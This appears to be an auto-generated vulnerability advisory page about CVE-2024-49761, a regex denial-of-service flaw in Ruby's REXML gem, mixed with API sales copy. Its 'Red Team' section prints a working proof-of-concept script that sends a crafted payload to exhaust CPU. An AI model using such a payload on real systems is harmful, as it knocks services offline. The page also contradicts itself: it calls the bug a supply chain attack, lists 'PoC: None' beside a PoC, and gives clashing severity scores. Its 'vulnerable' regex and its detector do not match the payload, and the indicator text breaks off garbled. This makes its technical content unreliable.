CVE-2024-49761
CVE-2024-49761 Supply Chain Attack in Ruby
📅 PUBLISHED: 2024-10-28 14:10 UTC 🔄 UPDATED: 2026-10-02 19:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ]
FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
🎯 EPSS: 1.42%
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.6
THREAT LEVEL
Executive Summary
CVE-2024-49761 is a Regular Expression Denial of Service (ReDoS) vulnerability in the REXML gem for Ruby, affecting versions prior to 3.3.9. The vulnerability is triggered when parsing XML containing hex numeric character references (e.g., &#x...;) with an excessive number of digits. This causes the regex engine to exhibit catastrophic backtracking, leading to high CPU consumption and potential denial of service. The issue is mitigated in Ruby 3.2 and later due to improved regex engine behavior, but Ruby 3.1 remains vulnerable. The CVSS score is 0.0 due to incomplete NVD data, but the actual impact is a low-severity denial of service.
⚡ AUTOMATE YOUR CVE INTELLIGENCE
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required
No signup required
Supply Chain & Package Security
This vulnerability affects the REXML gem, a core library in the Ruby ecosystem. Applications using REXML to parse untrusted XML input are at risk. The RubyGems package manager distributes REXML, and the fix is available in version 3.3.9. Developers should update their Gemfile to gem 'rexml', '>= 3.3.9' and run bundle update rexml. For Ruby 3.2+, the vulnerability is not exploitable due to the built-in regex engine improvements.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD placeholder; actual severity is low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: Low
- Threat Level: Low (ReDoS, no data breach)
Deep Dive & Mechanics
The vulnerability resides in the REXML parser's handling of hex numeric character references. When parsing an XML document, REXML uses a regular expression to match patterns like &#x[0-9a-fA-F]+;. The regex is vulnerable to catastrophic backtracking when the input contains a long sequence of digits without a terminating semicolon. For example, an input like &#x followed by thousands of hex digits causes the regex engine to try many permutations, consuming excessive CPU time.
The vulnerable regex pattern is similar to /(?:\&#x[0-9a-fA-F]+;)/ but with nested quantifiers that allow backtracking. In Ruby 3.2+, the Onigmo regex engine includes protections against ReDoS, making the vulnerability unexploitable. Ruby 3.1 uses an older engine that is susceptible.
Vulnerable vs. Patched Code
Vulnerable Code (REXML < 3.3.9):
# Simplified representation of the vulnerable regex
REXML::Entity::RE_HEX = /&#x[0-9a-fA-F]+;/
# The actual regex in the parser may have nested quantifiers causing backtracking
Patched Code (REXML >= 3.3.9):
# The patch limits the number of digits or uses atomic grouping
REXML::Entity::RE_HEX = /&#x[0-9a-fA-F]{1,10};/ # Example fix
# Or uses possessive quantifiers: /&#x[0-9a-fA-F]++;/
The patch ensures the regex cannot backtrack excessively by either limiting the digit count or using atomic/possessive quantifiers.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker sends a crafted XML payload to a Ruby application using REXML. The payload contains a hex numeric character reference with a large number of digits and no closing semicolon.
Proof of Concept (PoC):
# exploit.rb
require 'rexml/document'
# Crafted payload: 10000 hex digits without semicolon
payload = "<?xml version='1.0'?><root>&#x" + "A" * 10000 + "</root>"
begin
doc = REXML::Document.new(payload)
rescue REXML::ParseException => e
puts "Parsing failed: #{e.message}"
end
Run with Ruby 3.1:
ruby exploit.rb
# Expected: High CPU usage, potential timeout
Blue Team
To detect exploitation attempts, monitor for XML inputs with abnormally long hex character references. Use the following detection rules.
Detection with Ruby:
# detector.rb
def suspicious_xml?(xml)
# Check for hex references with > 10 digits
xml.scan(/&#x[0-9a-fA-F]{11,};/).any?
end
Network-level detection: Use Suricata rules (see Detection Engineering).
Indicators of Compromise (IOCs)
- Network: XML payloads containing
ollowed by >10 hex digits without a semicolon. - Logs: High CPU usage in Ruby processes parsing XML.
- File: XML files with patterns like `�
◈ SOURCE
Analysis & enrichment: valtersit.com/cve/CVE-2024-49761/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub